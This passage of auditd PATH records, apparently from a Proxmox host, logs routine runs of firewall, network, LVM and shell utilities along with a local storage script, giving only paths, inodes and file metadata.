name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875833,"@rawstring":"node=pve type=PATH msg=audit(1781964875.833:63013): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875829,"@rawstring":"node=pve type=PATH msg=audit(1781964875.829:63012): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875829,"@rawstring":"node=pve type=PATH msg=audit(1781964875.829:63012): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875824,"@rawstring":"node=pve type=PATH msg=audit(1781964875.824:63011): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875824,"@rawstring":"node=pve type=PATH msg=audit(1781964875.824:63011): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875819,"@rawstring":"node=pve type=PATH msg=audit(1781964875.819:63010): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875819,"@rawstring":"node=pve type=PATH msg=audit(1781964875.819:63010): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875814,"@rawstring":"node=pve type=PATH msg=audit(1781964875.814:63009): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875814,"@rawstring":"node=pve type=PATH msg=audit(1781964875.814:63009): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875807,"@rawstring":"node=pve type=PATH msg=audit(1781964875.807:63008): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875807,"@rawstring":"node=pve type=PATH msg=audit(1781964875.807:63008): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875802,"@rawstring":"node=pve type=PATH msg=audit(1781964875.802:63007): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875802,"@rawstring":"node=pve type=PATH msg=audit(1781964875.802:63007): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875798,"@rawstring":"node=pve type=PATH msg=audit(1781964875.798:63006): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875798,"@rawstring":"node=pve type=PATH msg=audit(1781964875.798:63006): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PATH msg=audit(1781964875.795:63005): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PATH msg=audit(1781964875.795:63005): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PATH msg=audit(1781964875.795:63004): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PATH msg=audit(1781964875.795:63004): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875795,"@rawstring":"node=pve type=PATH msg=audit(1781964875.795:63003): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875791,"@rawstring":"node=pve type=PATH msg=audit(1781964875.791:63002): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875791,"@rawstring":"node=pve type=PATH msg=audit(1781964875.791:63002): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875791,"@rawstring":"node=pve type=PATH msg=audit(1781964875.791:63002): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875784,"@rawstring":"node=pve type=PATH msg=audit(1781964875.784:63001): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875784,"@rawstring":"node=pve type=PATH msg=audit(1781964875.784:63001): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875778,"@rawstring":"node=pve type=PATH msg=audit(1781964875.778:63000): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875778,"@rawstring":"node=pve type=PATH msg=audit(1781964875.778:63000): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875773,"@rawstring":"node=pve type=PATH msg=audit(1781964875.773:62999): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875773,"@rawstring":"node=pve type=PATH msg=audit(1781964875.773:62999): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875766,"@rawstring":"node=pve type=PATH msg=audit(1781964875.766:62998): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875766,"@rawstring":"node=pve type=PATH msg=audit(1781964875.766:62998): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875760,"@rawstring":"node=pve type=PATH msg=audit(1781964875.760:62997): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875760,"@rawstring":"node=pve type=PATH msg=audit(1781964875.760:62997): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875575,"@rawstring":"node=pve type=PATH msg=audit(1781964875.575:62996): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875575,"@rawstring":"node=pve type=PATH msg=audit(1781964875.575:62996): item=1 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964875575,"@rawstring":"node=pve type=PATH msg=audit(1781964875.575:62996): item=0 name=\"/usr/bin/which\" inode=261035 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874922,"@rawstring":"node=pve type=PATH msg=audit(1781964874.922:62995): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874922,"@rawstring":"node=pve type=PATH msg=audit(1781964874.922:62995): item=0 name=\"/usr/bin/bash\" inode=260640 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PATH msg=audit(1781964874.919:62994): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PATH msg=audit(1781964874.919:62994): item=0 name=\"/usr/bin/tac\" inode=260977 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PATH msg=audit(1781964874.919:62993): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874919,"@rawstring":"node=pve type=PATH msg=audit(1781964874.919:62993): item=0 name=\"/usr/bin/tr\" inode=260992 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874918,"@rawstring":"node=pve type=PATH msg=audit(1781964874.918:62992): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874918,"@rawstring":"node=pve type=PATH msg=audit(1781964874.918:62992): item=0 name=\"/usr/bin/tr\" inode=260992 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874913,"@rawstring":"node=pve type=PATH msg=audit(1781964874.913:62991): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874913,"@rawstring":"node=pve type=PATH msg=audit(1781964874.913:62991): item=1 name=\"/bin/bash\" inode=260640 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874913,"@rawstring":"node=pve type=PATH msg=audit(1781964874.913:62991): item=0 name=\"./storage.sh\" inode=325856 dev=fc:01 mode=0100777 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874739,"@rawstring":"node=pve type=PATH msg=audit(1781964874.739:62990): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874739,"@rawstring":"node=pve type=PATH msg=audit(1781964874.739:62990): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874698,"@rawstring":"node=pve type=PATH msg=audit(1781964874.698:62989): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964874698,"@rawstring":"node=pve type=PATH msg=audit(1781964874.698:62989): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PATH msg=audit(1781964870.956:62988): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PATH msg=audit(1781964870.956:62988): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PATH msg=audit(1781964870.956:62987): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870956,"@rawstring":"node=pve type=PATH msg=audit(1781964870.956:62986): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PATH msg=audit(1781964870.946:62985): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PATH msg=audit(1781964870.946:62985): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PATH msg=audit(1781964870.946:62984): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964870946,"@rawstring":"node=pve type=PATH msg=audit(1781964870.946:62983): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PATH msg=audit(1781964865.936:62982): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PATH msg=audit(1781964865.936:62982): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PATH msg=audit(1781964865.936:62981): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865936,"@rawstring":"node=pve type=PATH msg=audit(1781964865.936:62980): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PATH msg=audit(1781964865.929:62979): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PATH msg=audit(1781964865.929:62979): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PATH msg=audit(1781964865.929:62978): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865929,"@rawstring":"node=pve type=PATH msg=audit(1781964865.929:62977): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865748,"@rawstring":"node=pve type=PATH msg=audit(1781964865.748:62976): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865748,"@rawstring":"node=pve type=PATH msg=audit(1781964865.748:62976): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865745,"@rawstring":"node=pve type=PATH msg=audit(1781964865.745:62975): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865745,"@rawstring":"node=pve type=PATH msg=audit(1781964865.745:62975): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=PATH msg=audit(1781964865.744:62974): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=PATH msg=audit(1781964865.744:62974): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865744,"@rawstring":"node=pve type=PATH msg=audit(1781964865.744:62973): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865740,"@rawstring":"node=pve type=PATH msg=audit(1781964865.740:62972): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865740,"@rawstring":"node=pve type=PATH msg=audit(1781964865.740:62972): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865740,"@rawstring":"node=pve type=PATH msg=audit(1781964865.740:62972): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865733,"@rawstring":"node=pve type=PATH msg=audit(1781964865.733:62971): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865733,"@rawstring":"node=pve type=PATH msg=audit(1781964865.733:62971): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865727,"@rawstring":"node=pve type=PATH msg=audit(1781964865.727:62970): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865727,"@rawstring":"node=pve type=PATH msg=audit(1781964865.727:62970): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865721,"@rawstring":"node=pve type=PATH msg=audit(1781964865.721:62969): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865721,"@rawstring":"node=pve type=PATH msg=audit(1781964865.721:62969): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865715,"@rawstring":"node=pve type=PATH msg=audit(1781964865.715:62968): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865715,"@rawstring":"node=pve type=PATH msg=audit(1781964865.715:62968): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865710,"@rawstring":"node=pve type=PATH msg=audit(1781964865.710:62966): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865710,"@rawstring":"node=pve type=PATH msg=audit(1781964865.710:62966): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865705,"@rawstring":"node=pve type=PATH msg=audit(1781964865.705:62965): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865705,"@rawstring":"node=pve type=PATH msg=audit(1781964865.705:62965): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865700,"@rawstring":"node=pve type=PATH msg=audit(1781964865.700:62964): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865700,"@rawstring":"node=pve type=PATH msg=audit(1781964865.700:62964): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865696,"@rawstring":"node=pve type=PATH msg=audit(1781964865.696:62963): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865696,"@rawstring":"node=pve type=PATH msg=audit(1781964865.696:62963): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964865691,"@rawstring":"node=pve type=PATH msg=audit(1781964865.691:62962): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 